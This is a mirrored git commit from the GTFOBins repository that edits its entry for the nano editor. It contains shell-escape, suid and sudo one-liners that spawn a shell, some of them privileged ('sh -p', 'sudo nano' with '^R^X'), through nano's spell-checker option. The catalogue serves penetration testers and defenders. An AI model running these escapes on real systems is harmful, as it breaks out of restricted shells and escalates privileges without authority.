mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Fix nano shell, suid, and sudo
This commit is contained in:
parent
c20ccf4af2
commit
b9a262c600
@ -7,10 +7,8 @@ functions:
|
||||
reset; sh 1>&0 2>&0
|
||||
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||
code: |
|
||||
TF=$(mktemp)
|
||||
echo 'exec sh' > $TF
|
||||
chmod +x $TF
|
||||
nano -s $TF /etc/hosts
|
||||
nano -s /bin/sh
|
||||
/bin/sh
|
||||
^T
|
||||
file-write:
|
||||
- code: |
|
||||
@ -23,7 +21,8 @@ functions:
|
||||
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||
code: |
|
||||
TF=$(mktemp)
|
||||
echo 'exec sh -p' > $TF
|
||||
echo '#!/bin/sh -p
|
||||
exec sh -p' > $TF
|
||||
chmod +x $TF
|
||||
./nano -s $TF /etc/hosts
|
||||
^T
|
||||
@ -32,11 +31,4 @@ functions:
|
||||
sudo nano
|
||||
^R^X
|
||||
reset; sh 1>&0 2>&0
|
||||
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||
code: |
|
||||
TF=$(mktemp)
|
||||
echo 'exec sh' > $TF
|
||||
chmod +x $TF
|
||||
sudo nano -s $TF /etc/hosts
|
||||
^T
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user